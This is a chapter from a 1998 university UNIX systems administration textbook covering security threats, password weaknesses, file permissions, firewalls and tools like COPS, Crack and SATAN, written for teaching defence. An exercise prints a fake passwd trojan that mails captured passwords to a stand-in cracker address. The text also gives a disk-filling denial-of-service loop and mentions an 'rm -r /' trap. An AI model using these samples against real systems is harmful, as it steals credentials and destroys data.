Review Questions
16.1 Explain the role each of the following play in UNIX networking
/etc/services /etc/inetd.conf inetd

tcpd 16.2 You've just obtained the daemon for WWWWW (the fictious replacement for the WWW). The daemon uses the protocol HTTTTTTP, wants to use port 81 and is likely to get many requests. Outline the steps you would have to complete to install the daemon including the files you would have to modify and why how you would start the daemon (it's a program called htttttpd)

David Jones, Bruce Jamieson (15/10/98)

Page 372

85321, Systems Administration

Chapter 16: Network Applications

16.3 People have been trying to telnet to your machine server.my.domain. List all the things that could be stopping them from logging in.

David Jones, Bruce Jamieson (15/10/98)

Page 373

85321, Systems Administration

Chapter 17: Security

Chapter
A chain is only as strong as its weakest link. Proverb

17
Security

If a cracker obtains a login on a machine, there is a good chance he can become root sooner or later. There are many buggy programs that run at high privileged levels that offer opportunities for a cracker. If he gets a login on your computer, you are in trouble. Bill Cheswick

Introduction
As a Systems Administrator you are responsible for maintaining the integrity and security of the systems you administer. Given the weaknesses in a lot of software and the frailties of the human beings using your systems (not to mention yours) this is a far from easy task. This chapter introduces you to many of the security-related issues you must consider. As a Systems Administrator you will need to do the following evaluate the security of your site Determine what the security needs of your site are. What are the current security holes on your site? To do this you will need to know how people break into systems. This chapter provides pointers to tools and documentation used to compromise the security of systems. An important part of this step is also identifying how secure you want your system to be. remedy and implement Once you've found the security holes you have to plug them. To do this you need to understand a number of basic concepts. This chapter introduces those concepts. observe and maintain A system doesn't stay secure. Installing new software, adding new users and the attentions of crackers all contribute to the need for you to maintain a vigil watching the security of your system. stay informed New security holes and methods for breaking in are always being discovered. For your site to stay secure you must keep up to date with all new events.

David Jones, Bruce Jamieson (15/10/98)

Page 374

85321, Systems Administration

Chapter 17: Security

Important
Much of the information introduced in this chapter can be put to malicious use. Such use can result in quite severe consequences. You can be excluded from the University, fail this unit and even be brought up on criminal charges. Any 85321 student found using the information in this chapter illegally will fail the unit. This chapter provides a very brief overview of some of the issues involved. There is a lot more to computer security than what is mentioned here. There is a great deal of information about this topic on the Web, in magazines and in books.

Why have security?

Why bother with security? No-one's going to break into my machine are they? Here are some reasons why security is extremely important the FBI estimates $(US)7.5 billion is lost annually to electronic attack the US Department of Defense found that 88% of their computers are penetrable and in 96% of the cases where the crackers got in, their intrusions went undetected in 1993, CERT found a 73% increase in security breaks the Wall Street Journal on August 21, 1995 reports "Russian computer cracker successfully breached a large number of Citicorp corporate accounts, stealing $400,000 and illegally transferring an additional $11.6 million". reports of computer crime are increasing at more than 150% a year, A recent set of tests performed with freely available security tools available on the Internet (these tools are introduced in this chapter) gave the following results 88% of attempted break-ins were successful, 96% were undetected, in 95% of times when attacks were detected nothing was done. As a Systems Administrator you must be concerned with security. Another important finding is that the great majority of break-ins or illegal uses of information stored on computers is done by people from within the organisation, such as disgruntled workers using their access for personal gain. Security is not always protecting a system from people outside the system.

David Jones, Bruce Jamieson (15/10/98)

Page 375

85321, Systems Administration

Chapter 17: Security

Before you start

Before evaluating the security of your system, you need to decide how important security is for your site.

Security versus convenience

A machine running the UNIX operating system can be made into a very secure system if the right amount of effort is expended. However a very secure system is usually too inconvenient for normal users to use. In implementing a security scheme, the Systems Administrator must weigh the following costs the importance of the machine, its availability and the data stored on it, Data on a computer used by first year students at a University doesn't need to be as secure as data on a computer containing the plans for Intel's next computer chip. the amount of effort required to make and keep the system secure, and It doesn't make sense to spend hundreds of thousands of dollars securing a computer used for email by computing students. how the security features will affect the users of the system. A system can be made as secure as is necessary but in doing so you might lose all ability to make use of the machine. A machine in a room with no door and no outside connection is very secure, but no one can use it. To make a computer 99% secure, remove the network connection, to make the computer 100% secure, remove the power cord. The Systems Administrator must balance the needs for convenience against the need for security.

A security policy
The following is taken from the AUSCERT document, "Site Security Policy Development" by Rob McMillan. A link to the entire document is provided on the Resource Materials page of the 85321 Website. In the same way that any society needs laws and guidelines to ensure safety, organisation and parity, so any organisation requires a Site Computer Security Policy (CSP) to ensure the safe, organised and fair use of computational resources. The use of computer systems pervades many aspects of modern life. They include academic, engineering, financial and medical applications. When one considers these roles, such a policy assumes a large degree of importance. A CSP is a document that sets out rules and principles which affect the way an organisation approaches problems. Furthermore, a CSP is a document that leads to the specification of the agreed conditions of use of an organisation's resources for users and other clients. It also sets out the rights that they can expect with that use.

David Jones, Bruce Jamieson (15/10/98)

Page 376

85321, Systems Administration

Chapter 17: Security

Ultimately a CSP is a document that exists to prevent the loss of an asset or its value. A security breach can easily lead to such a loss, regardless of whether the security breach occurred as a result of an Act of God, hardware or software error, or malicious action internal or external to the organisation.

AUSCERT Policy Development

Reading AUSCERT (who and what they are is explained later in the chapter) have made available a document which outlines the requirements and content of a computer security policy. A copy can be found under the resource materials section for week 11 on the 83521 Web site/CD-ROM

Evaluating Security
Once you've decided (in reality the Systems Administrator doesn't decide but hopefully will have some input) on how secure your site is to be made, you have to evaluate just how secure your system is. This section introduces many of the basic concepts you will need to understand in order to evaluate security and also introduces some of the tools that can help.

Types of security threats

To implement security on a system you should first identify the possible threats to the system. Threats to a computer system can be broken up into a number of categories physical threats, The building burns down, an earthquake hits or an intruder breaks into your office or machine room and takes to the computers with an axe. access to the system and its data, and A cracker breaking into a bank and redirecting hundreds of thousands of dollars from someone's account to their own. With the advent of the network this access doesn't have to be to data on the actual machine. It can include data that is travelling over the network. denial of service. This type of threat is entirely malicious. It serves no purpose but to prevent your computers from providing the services they normally provide. This type of attack is quite simple.

Physical threats
Physical threats include unauthorised access to system consoles and other devices, and acts of nature (i.e. floods and earthquakes).

David Jones, Bruce Jamieson (15/10/98)

Page 377

85321, Systems Administration

Chapter 17: Security

Not all attacks on computer systems rely on intimate knowledge of computer hardware and software. The quickest way of denying service is to steal or destroy the physical hardware. For example, attack the nearest power substation, no power, no computer. Blow the building up. Mechanisms should be in place to prevent access to the physical hardware of a system. Network cables One part of computer infrastructure that is often overlooked in a security plan is the cabling. The simplest way to bring a site's computer network to the ground is to take a shovel and dig up a few of the cables used for that site's network. This does not always happen on purpose. CQU's network has been taken down a number of times by people (accidentally) digging up the fibre optic cable that forms the backbone of the CQU network. Acts of nature While every effort can be taken to minimise damage from acts of nature, there is always the possibility that an event will occur that can destroy a system or destroy the entire site. This is one possibility that must be served by the site's recovery plan. The old maxim "don't put all your eggs in one basket" is very applicable. Copies of backup tapes should be kept at another site. A number of sites in earthquake prone California send copies of backup tapes to other states to make sure that tapes are out of the earthquake zone.

Logical threats
Logical threats are caused by problems with computer software. These problems are caused either by misuse by people, A program not being configured properly and therefore offering a security hole; people choosing really easy-to-guess passwords. mistakes in programs, or in their interaction with each other Computer systems today are complex congregations of interacting programs. The complexity of these programs and their interactions means that security holes crop up every now and then. It is these holes that bad guys use to break into systems.

How to break in
Breaking into most systems is incredibly easy. Many crackers seem to think they are great heroes for breaking into the system, when in reality any half-wit with a bit of common sense can break into a system. Doing something constructive with a computer is infinitely more difficult and rewarding than doing something destructive.

David Jones, Bruce Jamieson (15/10/98)

Page 378

85321, Systems Administration

Chapter 17: Security

Knowing how to break into a system is the first step in knowing what you need to fix. This section introduces you to some of the tactics, tools and holes used by crackers to break into systems. To break into a site a cracker will generally go through these stages information gathering, During this phase he is trying to gather as much information about your site as possible, determining the user's names, their phone numbers, office locations, what machines are there. get a login account, Using the information gathered previously the cracker must now get a login account. It usually doesn't matter whose account. At this stage the cracker is just interested in getting onto the machine. get root privilege, and Once onto the machine the cracker will attempt to use any of a number of methods to obtain root privilege, bugs in programs or badly configured systems are the two most common. keeping root privilege. Once they've got it they don't want to loose it. So most will leave some sort of trap door that allows them to get root privilege at any point in the future.

Social engineering
Social engineering is one of the most used methods for gaining access and it generally requires very little computer knowledge. The most common form of social engineering is for a cracker to impersonate an employee, usually a computer support employee, and obtain passwords or other security related information over the phone. Other useful pastimes include dumpster diving, Sifting through the trash of an organisation looking for passwords or other information. getting a job. Actually getting a job on the site, a cleaner or janitor is a good bet. A lot of crackers consider people to be the weak link in security.

Breaking into a system

Readings Two of the "good guys" of computer security, Dan Farmer and Wieste Venema (authors of the Satan tool discussed below) have written one of the standard papers a Systems Administrator should read. You will find a copy of this paper under the "Breaking in" link on the resource materials page for week 11.

David Jones, Bruce Jamieson (15/10/98)

Page 379

85321, Systems Administration

Chapter 17: Security

Information about cracking

There are a number of factors which make it easy to break into systems. One of them is the almost complete lack of effort many Systems Administrators put into security. Another is the huge number of bugs and problems in software which open systems up to break-ins. One of the most common is the use of the Internet by crackers to distribute information about how to break into systems. Readings The resource materials section on the 85321 Website/CD-ROM for week 11 has a number of links to Web sites and information produced by crackers. Take your time to look through these. The rootshell.com (http://www.rootshell.com/) site is a prime example of why it doesn't take any skill at all to break into a system. Here is a site which lists a huge range of software and tips how to break in.

Problems
The following section introduces some of the fundamental UNIX concepts (and problems) which crackers use to break into systems.

Passwords
Passwords are the first line of defense in the security of a computer system. They are also usually the single biggest security hole. The main reason is that users do things with passwords that compromise their security including write their password on a bit of paper and then leave it laying around, This happens with student accounts at the start of every year at CQU. type their passwords in very slowly while someone is watching over their shoulder, choose really dumb passwords like password or their first name, and log into their accounts across the Internet. This is a problem because of some of the characteristics of information travelling over the Internet. In particular, most information is in clear text and it must pass through a number of computers. This makes it possible for other people, on some of these computers, to listen in on your information as it passes over the Internet. This means that they may be able to get your password. These actions make it easy for crackers to obtain passwords and by pass this important first line of defense. Choosing dumb passwords There have been a number of experiments that attempt to discover how many users actually choose dumb passwords. All of these experiments have found an
David Jones, Bruce Jamieson (15/10/98) Page 380

85321, Systems Administration

Chapter 17: Security

alarmingly high percentage of users choose stupid passwords. One experiment found that approximately 10-20% of passwords could be guessed using a password list containing variations on login names, user's first and last names and a list of 1800 common first names. Every year the program crack (more on this program later in the chapter) is run using the password file of the machine used by students of the Systems Administration subject offered by Central Queensland University. Every year between 10 to 20% of the passwords are discovered by Crack. Packet sniffing If you are on an ethernet network, it is fairly simple to obtain software that allows you to capture and examine all of the information passing through that network, called packet sniffing. This is one method for obtaining the usernames and passwords of people. Remember when you enter a password it is usually sent across the network in clear text. At most large computer conferences (and many others) it is common to have a terminal room with a large number of computers with Internet connections. These terminal rooms are used by conference attendees to "phone home", to log onto their Internet accounts to check email etc. Many conferences have suffered from people packet sniffing in these terminal rooms, gathering usernames and passwords of many of the conference attendees. This is a growing problem if you are using the Internet to connect back to a "home" computer. It's a problem that is addressed using a number of methods including one-time passwords that are discussed below.

Problems with /etc/passwd

The /etc/passwd file is the cornerstone of the password security system. The Systems Administrator should perform a number of checks on the contents of the /etc/passwd file. These checks are performed to make sure someone has not compromised security and left a gaping hole. The following describe some of the possible problems with /etc/passwd. Accounts without passwords Any account without a password allows a cracker direct entry onto your machine. Once there they will at some stage get root privilege. Accounts without usernames You cannot login to an account without a username using the normal login procedure. However you can become that user by using the command su "".

David Jones, Bruce Jamieson (15/10/98)

Page 381

85321, Systems Administration

Chapter 17: Security

Accounts with UID 0 An account with a UID of 0 will have the same access permissions as the root user since the operating system thinks that anyone with UID 0 is root. Accounts with GID 0 Generally only the root user and one or two system accounts will belong to group 0. Any other account being in that group will obtain permissions it should not. Modifications to /etc/passwd The only modifications made to the /etc/passwd file should be made by the Systems Administration team. Any changes not made by that team implies someone has broken the security of your system. One method of checking this is keeping an up-to-date copy of the passwd file somewhere else and regularly comparing it with the /etc/passwd file. /etc/passwd file permissions The passwd file is usually owned by root. Only the owner of the file should have write permission on the passwd file. If these permissions have changed, someone has broken your security.

Search paths
When you enter a command, the shell will search through all the directories listed in the PATH variable for an executable file with a filename that matches the command name. It is almost standard for users to include the current directory (signified by .) in their search path. This can be useful when you are writing programs or shell scripts and you are in the same directory as the scripts. Without . in the search path, you would have to type ./script_name If the current directory is included in the search path it should be the last one in the path. Why is this a problem? If the current directory is the first directory in the path then whenever the user executes a command the shell will look first in the current directory. This is a security hole. One practice of "bad guys" is to place programs with names that match standard commands (like passwd and su) everywhere in the directory hierarchy they have write access (for example, /tmp). They do this to take advantage of situations like the following

David Jones, Bruce Jamieson (15/10/98)

Page 382

85321, Systems Administration

Chapter 17: Security

the current directory is the first directory in the search path of the user, the user is in the directory /tmp, a bad guy has placed a program called passwd in that directory, and the user wants to change their password so they enter passwd. The shell will find the passwd program in the /tmp directory because it is the first directory in the search path. The shell will not search any further. If he's smart the bad guy has written his passwd so it looks like the real one but actually sends the password to him. Exercises
17.1 17.2

Examine your search path. Does it include the current directory?? Modify your search path so it looks in the current directory first. Create a shell script passwd that contains the following code. Try changing your password from the directory in which you created the shell script and see what happens.
#!/bin/bash echo echo stty read Changing passwd for `whoami` -n Enter old password: -echo password

# send email with machine name, username and password to a cracker echo `hostname` `whoami` $password | mail cracker@cracker.cqu.edu.au stty echo echo echo Illegal password, imposter.

Full path names

The current directory SHOULD NOT be in the search path for the root user. Some Systems Administrators are so worried about this situation that they will always enter the full path of every command executed as root. Instead of typing
bash$ su They will enter bash$ /bin/su

regardless of the command. Remember any command that is executed by root will have root's privileges. A destructive cracker could create a shell script, call it ls and put the following code in it, rm -r /. What happens when root accidentally runs it by typing ls?

David Jones, Bruce Jamieson (15/10/98)

Page 383

85321, Systems Administration

Chapter 17: Security

The file system

If a bad person has actually managed to crack someone's password and break into their account, the next step they will want to take is to obtain an account with more access (root if possible). The major hurdle they must overcome is UNIX file permissions. A system's file permissions should be set up in such a way that will prevent users from accessing areas that they should not. The Systems Administrator is responsible for first setting up the file permissions correctly and then maintaining them. The following sections examine issues involved with the file system. Correct settings When configuring a system, it is important that each file and directory have the correct permissions. This is especially true of important system files including device files, system configuration files and system startup files. There is a story about one release of Sun's UNIX operating system that had problems with the permissions on a particular device file. These Sun machines came standard with little microphones that could be used to record sound. As with all devices on a UNIX machine, the microphone had a device file. On this particular release the default permissions for the microphone's device file was world read. This meant anyone on the system could record what was being said around the microphone. Tracking changes Once set up, regular checks on the file permissions should be performed to ensure that no-one has been tampering with them. Any changes you didn't make may indicate a security breakin. setuid/setgid programs Any program that runs setuid, especially setuid root, that is badly written or contains a security hole could be used to break security. You should know of all setuid and setgid programs on your system. Any such programs that are not needed should be deleted. You should also maintain a check on any new setuid programs that appear on your system. Also you should never write shell programs that are setuid or setgid. In fact Linux won't let you. setuid shell scripts cannot be made safe. Exercises
17.3

Obtain a listing of all the files on your system which are setui or setgid.

David Jones, Bruce Jamieson (15/10/98)

Page 384

85321, Systems Administration

Chapter 17: Security

Disk usage If the naughty person is a simple vandal interested only in bringing the system down he might try something like the following
#!/bin/sh while [ 0 ] do mkdir .temp #start with a dot so it is normally hidden cd .temp cp /bin/* . done

This is just one example of a malicious attack designed to bring a system down. Other methods include continually sending large amounts of email or using flood pings (a ping command that saturates a network). These are simple, yet common, examples of "denial of service" attacks.

Networks
The advent of networks, especially global networks such as the Internet, drastically increase the likelihood of your system being broken into. No longer do you have to worry about just people on your site. You also have to worry about all of the people on the Internet. The problems introduced by networks include the following. Bugs in network software Most of the common security problems with networks is due to bugs in software such as the finger daemon, sendmail and others. Such bugs allow people without accounts on a machine to get root access. The Internet worm used a bug in the finger daemon that allowed you to run a command on the system without having a login. Bugs in sendmail have provided mechanisms to gain root access on a machine without needing the root password. Bugs in software that cause security holes are usually announced by CERT (more on CERT later in this chapter). Most of you should now be aware of similar problems in almost all of the networking software produced by Microsoft. Packet sniffing Talked about above. Packet sniffing is the act of examining all the packets being sent across a network to gain access to information. This can usually only be done if you are on the same network as the machines you are eavesdropping on. There are a number of software packages, many freely available, that allow you to do this. Pointers to this software and exercises using them come below.

David Jones, Bruce Jamieson (15/10/98)

Page 385

85321, Systems Administration

Chapter 17: Security

Spoofing and masquerading Using various levels of knowledge it is possible to pretend that you or your machine is someone else. A simple example is mail spoofing demonstrated in chapter 18. More complicated examples result in attacks on the domain name service and other software.

Tools to Evaluate Security

There are quite a number of freely available tools which are designed to help a Systems Administrator evaluate and maintain the security of a site. The problem is that these same tools also help crackers identify the sites where a Systems Administrator is not using these tools. This section introduces you to a number of these tools. Reading The resource materials section for week 11 contains a page which lists a number of the security tools which are available. A number of the tools mentioned are available directly from the 85321 Web site/CD-ROM (rather than from an overseas site).

Problems with the tools?

There has been much philosophical debate about releasing these tools. There are basically two opinions those "against", These people believe these tools help crackers break into sites and so shouldn't be released. those "for". Believe that these tools help administrators protect their sites and that any one administrator not using these tools is asking to be broken into. Personally I'm all for their release but your opinion may vary.

COPS
The following is taken from the COPS documentation and describes what COPS is. The heart of COPS is a collection of about a dozen (actually, a few more, but a dozen sounds so good) programs that each attempt to tackle a different problem area of UNIX security. Here is what the programs currently check, more or less (they might check more, but never less, actually): file, directory, and device permissions/modes, poor passwords, content, format, and security of password and group files, the programs and files run in /etc/rc* and cron(tab) files,

David Jones, Bruce Jamieson (15/10/98)

Page 386

85321, Systems Administration

Chapter 17: Security

existence of root-SUID files, their writeability, and whether or not they are shell scripts, a CRC check against important binaries or key files to report any changes therein, writability of users home directories and startup files (.profile, .cshrc, etc.) anonymous ftp setup, unrestricted tftp, decode alias in sendmail, SUID uudecode problems, hidden shells inside inetd.conf, rexd running in inetd.conf. miscellaneous root checks -- current directory in the search path, a "+" in /etc/host.equiv, unrestricted NFS mounts, ensuring root is in /etc/ftpusers, etc. the Kuang expert system. This takes a set of rules and tries to determine if your system can be compromised (for a more complete list of all of the checks, look at the file release.notes or cops.report; for more on Kuang, look at kuang.man) All of the programs merely warn the user of a potential problem -- COPS DOES NOT ATTEMPT TO CORRECT OR EXPLOIT ANY OF THE POTENTIAL PROBLEMS IT FINDS! COPS either mails or creates a file (user selectable) of any of the problems it finds while running on your system. Because COPS does not correct potential hazards it finds, it does _not_ have to be run by a privileged account (i.e. root or whomever.)

Crack
The following is taken from the Crack documentation Crack is a freely available program designed to find standard Unix eightcharacter DES encrypted passwords by standard guessing techniques. It is written to be flexible, configurable and fast, and to be able to make use of several networked hosts via the Berkeley rsh program (or similar), where possible.

Satan
The following is taken from the Satan documentation and explains what it does. SATAN is a tool to help Systems Administrators. It recognises several common networking-related security problems, and reports the problems without actually exploiting them. For each type or problem found, SATAN offers a tutorial that explains the problem and what its impact could be. The tutorial also explains what can be done about the problem: correct an error in a configuration file, install a bugfix from the vendor, use other means to restrict access, or simply disable service. SATAN collects information that is available to everyone on with access to the network. With a properly-configured firewall in place, that should be near-zero information for outsiders.

David Jones, Bruce Jamieson (15/10/98)

Page 387

85321, Systems Administration

Chapter 17: Security

We have done some limited research with SATAN. Our finding is that on networks with more than a few dozen systems, SATAN will inevitably find problems. Here's the current problem list: NFS file systems exported to arbitrary hosts NFS file systems exported to unprivileged programs NFS file systems exported via the portmapper NIS password file access from arbitrary hosts Old (i.e. before 8.6.10) sendmail versions REXD access from arbitrary hosts X server access control disabled arbitrary files accessible via TFTP remote shell access from arbitrary hosts writable anonymous FTP home directory

Exercises
17.4

Install and use each of the three tools above.

Remedy and Implement

Having decided on the appropriate level of security for your site and identified the security problems at your site you, now have to fix the problems and implement your security policy. This section examines tools and methods that can be used to improve security with passwords, the file system and the network.

Improving password security

There are a number of schemes a Systems Administrator can use to help make passwords more secure including user education, shadow passwords, proactive password programs, password generators, password aging, regular password cracking, and one-time passwords.

User education
Users do not want other people breaking into their accounts. If the users of a system are educated in the dangers of using bad passwords most will choose good passwords. One effective education program might be breaking their passwords with Crack and then telling them what their password is (if you can do it, the bad guys can).

David Jones, Bruce Jamieson (15/10/98)

Page 388

85321, Systems Administration

Chapter 17: Security

How you perform user education will depend on your users. Different users respond to different methods. It must always remembered not to alienate your users.

Shadow passwords
Once they have a system's encrypted passwords, bad guys can crack these passwords using a variety of methods. Mentioned in the chapter on adding users, shadow passwords remove the encrypted password from the /etc/passwd file (a file readable by every user) and place them into a file readable only by the root user. This prevents the bad guys from (easily) getting a copy of your encrypted passwords. When you install shadow passwords you will have to modify any program that asks the user to enter a username/password, e.g. login the pop mail daemon, the ftp daemon.

Proactive passwd
Passwords are set by using the passwd command. Many standard passwd programs allow the user to enter just about anything as a password. A proactive password program replaces the normal passwd command with a program that enforces certain rules. For example, ensuring that all passwords are greater than 5 characters in length and not accepting insecure passwords like usernames, the word password, 123456789 etc. If the user's new password breaks these rules, a proactive passwd program will refuse to accept the new password. The passwd program supplied with RedHat 5.0 is an example of a proactive password program. It will not allow passwords which are too short, are simple words or other common poor passwords. Exercise
17.5

On your RedHat machine attempt to change your password to each of the following hello goodbye 1234567 roygbiv (this is a common abbreviation for the colours in a rainbow red orange yellow green blue indigo violet

Password generators
Some sites do not allow users to choose their own passwords but instead they use password generators. A password generator might provide the user with a list of passwords, consisting of random strings of characters, and ask the user to

David Jones, Bruce Jamieson (15/10/98)

Page 389

85321, Systems Administration

Chapter 17: Security

choose one. The passwords that are generated have to be easy to remember or else users start writing them down.

Password aging
The longer a password is used, the greater the chance that it will be broken. Password aging is usually built into most shadow password suites. Password aging forces passwords to be changed after a set time period. In addition, the system may remember past passwords thereby preventing a user simply cycling through a list of passwords. Care must be taken that the time period after which passwords must be changed is not too frequent. If it is, users start forgetting passwords and resort to writing them down.

Password cracking
The program crack has already been introduced in this chapter and while it can be a tool for crackers it can also be useful for a Systems Administrator. Even though it can consume a great deal of CPU time, it can be useful to run Crack on a system's passwords regularly. This helps you identify the users who have insecure passwords and you would then hopefully ask them to change the passwords. There can be unexpected reprecusions from running crack, as Randall Schwartz found out. The following readings describe the situation. Reading The Web site, http://www.lightlink.com/spacenka/fors/, describes the case of the State of Oregon v. Randal Schwartz.

One-time passwords
It's a common occurrence to have users to go on trips. It is also common for many of them, while on trips, to occasionally want to log on and check their email. They do this by logging in over the Internet. By doing this, the possibility of someone "eavesdropping" on their password exists. A solution to this is onetime passwords. With a one-time password system installed, a new password must be used for every login. Since the password is only used once, the eavesdropper can't use the password he's just listened to. The S/KEY system discussed later in this chapter is one public domain implementation of one-time passwords. There are a number of commercial versions, some of which incorporate smart cards which provide the one-off passwords.

David Jones, Bruce Jamieson (15/10/98)

Page 390

85321, Systems Administration

Chapter 17: Security

How to remember them

Users have enough problems remembering one password. How can you expect them to remember a new password every time they login? There are a number of one-time password systems and they use a number of methods including smart cards or computer programs, The user is given a "secret" password. When they login, the system gives them a number. The user enters the password and the number into a smart card or a program which then generates the one-time password which the user enters. The next time they login the number will be different, therefore a different one-time password. password lists. Another (simpler?) method is for the user going on the trip to be given a small piece of paper with a list of one-time passwords. The user scrolls through the list every time they login.

Solutions to packet sniffing

Using networks to log into machines and perform other jobs runs the risk of packet sniffing. This section introduces two tools that offer solutions to that problem. Implementing either of these systems can help address this problem. S/KEY S/KEY is a simple, freely available one-time password system that can be installed onto most UNIX computers. It also comes with a number of MS-DOS and possibly Macintosh programs that can be used to generate one-time passwords. Exercise
17.6

The security tools page pointed to on the Resource Materials section of the 85349 Web site/CD-ROM includes a copy of S/KEY. Install it onto your machine.

Ssh Ssh (secure shell) is an alternative to S/Key. Ssh provides both encryption and authentication. All communication between the two hosts is encrypted which means it is more difficult to packet sniff passwords. A version of Ssh is available from the local security tools page on the 85321 Web site/CD-ROM.

David Jones, Bruce Jamieson (15/10/98)

Page 391

85321, Systems Administration

Chapter 17: Security

File permissions
AUSCERT (what AUSCERT is, is explained later) has a security checklist for UNIX. The following points are adapted from the file permissions part of that document (a pointer to the entire document is given in the following reading). You should make sure that the permissions of (not all these apply to Linux) /etc/utmp are set to 644. /etc/sm and /etc/sm.bak are set to 2755. /etc/state are set to 644. /etc/motd and /etc/mtab are set to 644. /etc/syslog.pid are set to 644. (NOTE: this may be reset each time you restart syslog.) the kernel (e.g., /vmunix) is owned by root, has group set to 0 (wheel on SunOS) and permissions set to 644. /etc, /usr/etc, /bin, /usr/bin, /sbin, /usr/sbin, /tmp and /var/tmp are owned by root and that the sticky-bit is set on /tmp and on /var/tmp. You should also consider removing read access to files that users do not need to access. ensure that there are no unexpected world writable files or directories on your system. check that files which have the SUID or SGID bit enabled, should have it enabled ensure the umask value for each user is set to something sensible like 027 or 077. ensure all files in /dev are device files. (Note: Some systems have directories and a shell script in /dev which may be legitimate. Please check the manual pages for more information.) ENSURE that there are no unexpected special files outside /dev. Root ownership AUSCERT recommends that anything run by root should be owned by root, should not be world or group writable and should be located in a directory where every directory in the path is owned by root and is not group or world writable. Also check the contents of the following files for the root account. Any programs or scripts referenced in these files should meet the above requirements: ~/.login, ~/.profile and similar login initialisation files ~/.exrc and similar program initialisation files ~/.logout and similar session cleanup files crontab and at entries files on NFS partitions /etc/rc* and similar system startup and shutdown files

David Jones, Bruce Jamieson (15/10/98)

Page 392

85321, Systems Administration

Chapter 17: Security

If any programs or scripts referenced in these files source further programs or scripts they also need to be verified.
bin ownership

Many systems ship files and directories owned by bin (or sys). This varies from system to system and may have serious security implications. CHANGE all non-setuid files and all non-setgid files and directories that are world readable but not world or group writable and that are owned by bin to ownership of root, with group id 0 (wheel group under SunOS 4.1.x). Please note that under Solaris 2.x changing ownership of system files can cause warning messages during installation of patches and system packages. Anything else should be verified with the vendor.

Programs to check
AUSCERT also has the following recommendations about programs Tiger/COPS, Do run one or both of these. Many of the checks in this section can be automated by using these programs. Tripwire. DO run statically linked binary. DO store the binary, the database and the configuration file on hardware write-protected media.

Tripwire
The following is taken from the Tripwire documentation. Tripwire is a file and directory integrity checker, a utility that compares a designated set of files and directories against information stored in a previously generated database. Any differences are flagged and logged, including added or deleted entries. When run against system files on a regular basis, any changes in critical system files will be spotted -- and appropriate damage control measures can be taken immediately. With Tripwire, system administrators can conclude with a high degree of certainty that a given set of files remain free of unauthorized modifications if Tripwire reports no changes.

Disk quotas
Linux can provide support for the BSD disk quota system. Disk quotas allow the Systems Administrator to restrict the amount of disk space individual users can consume. This can help protect the security of the system. The BSD disk quota system allows the Systems Administrator to limit the number of disk blocks a user can consume, and the number of I-nodes a user owns (every file needs one I-node).

David Jones, Bruce Jamieson (15/10/98)

Page 393

85321, Systems Administration

Chapter 17: Security

Under the BSD system, disk quotas are handled on a per user, per file system basis. This means disk quotas can be set individually for each user on each file system.

For example
Let's assume that my system uses different file systems (partitions) for the /home directory and the /var/spool/mail directory. The user jonesd might have one quota for the /home file system. This would limit the number and size of the files he can create in his home directory. He would have a different quota for the /var/spool/mail file system. This could be used to limit the problems of mail bombs.

Disk quotas: how they work

For disk quotas to work, the file system code must support quotas. That is the code in the kernel that reads and writes to disk must understand and implement quotas. A default Linux kernel doesn't support disk quotas but modified kernels can be produced. Once the kernel has been recompiled to support disk quotas, the partitions on which quotas are to work must be mounted with the quotas option. This generally means that a partitions entry in /etc/fstab must be changed. Now the Systems Administrator must decide which users are to have quotas and what those quotas are going to be. The quotas are then set using a command edquota that allows the Systems Administrator to modify both the hard and soft limit for individuals. From then on, the file system code will check to see whether or not the user currently asking it to write to disk has exceeded their quota. If they have, it will refuse to continue writing to disk.

Hard and soft limits

The disk quota system allows the specification of two limits a hard limit, and This is the absolute limit. The user will not be allowed to exceed this limit. The file system will simply refuse to carry out any request that increases the size. a soft limit. The soft limit serves as a warning. If the user passes the soft limit they will receive a warning message. After a set number of warnings, the soft limit will begin to act like a hard limit.

David Jones, Bruce Jamieson (15/10/98)

Page 394

85321, Systems Administration

Chapter 17: Security

Firewalls
The Internet is a big, bad world full of crackers who would like nothing more than breaking into your system. By connecting to the Internet you basically open the doors for them to come on in. A firewall is a concept designed to shut those doors. Basically a firewall is a collection of hardware and software that forces all incoming and out-going Internet data to go through one gate. Everything going in and out, but especially in, of that gate is evaluated. If it doesn't fulfil a certain criteria it is shut out. Having a firewall provides the following advantages protection of vulnerable services, Access to vulnerable services like NFS can be restricted to machines within your network. controlled access to your site, Access to machines on your site can be restricted. For example from outside CQU you can only telnet to the CQU machines jasper and topaz. Telnet access to other machines is prevented by the firewall. concentrated security, Access restrictions mean you can concentrate your efforts on ensuring security (on some issues) to one or two machines. enhanced privacy, The firewall can hide the existence of other machines on your network. Outside people only see the one or two "outside" machines. logging and statistics on network use, misuse, All network access goes through one machine which means the flow can be watched closely and misuse can be picked up quickly. Reading The Resource Materials section for week 11 contains a pointer to a more indepth introduction to firewalls. This reading is optional.

Observe and maintain

Once your system has been secured, your job is not over. An eye must be kept on what people are doing with the system and whether or not someone has broken security.

System logs
It is important that you maintain a close eye on what people are doing with the system. As the Systems Administrator you should have a good idea of what constitutes normal operation for your system and your users. By doing this you may get an early indication of someone breaking into your system.

David Jones, Bruce Jamieson (15/10/98)

Page 395

85321, Systems Administration

Chapter 17: Security

The commands and files used to maintain a watch on the system are discussed in another chapter.

Tools
Crack, Satan and COPS introduced earlier in this chapter, can also be useful for maintaining an eye on the security of your system. By running these programs at regular intervals you perform checks on the continuing security of your system.

Information Sources
Another essential part of maintaining the security of your system is keeping up to date with information about the security (or otherwise) of the systems you are using. The following provide pointers to some sources of this information. FIRST The following information on FIRST is taken from the FIRST WWW server, http://www.first.org/ Since November of 1988, an almost continuous stream of security-related incidents has affected thousands of computer systems and networks throughout the world. To address this threat, a growing number of government and private sector organisations around the globe have established a coalition to exchange information and coordinate response activities. This coalition, the Forum of Incident Response and Security Teams (FIRST), brings together a variety of computer security incident response teams from government, commercial, and academic organisations. FIRST aims to foster cooperation and coordination in incident prevention, to prompt rapid reaction to incidents, and to promote information sharing among members and the community at large. Currently FIRST has more than 30 members. AUSCERT One of the members of FIRST is the Australian Computer Emergency Response Team, AUSCERT. The following information on AUSCERT is taken from their WWW server, http://www.auscert.org.au/information/whatis.html What is AUSCERT? The Australian Computer Emergency Response Team, AUSCERT, provides a single trusted point of contact in Australia for the AARNet community to deal with computer security incidents and their prevention. AUSCERT aims to reduce the probability of successful attack, to reduce the direct costs of security to organisations and to minimise the risk of damage caused by successful attacks.

David Jones, Bruce Jamieson (15/10/98)

Page 396

85321, Systems Administration

Chapter 17: Security

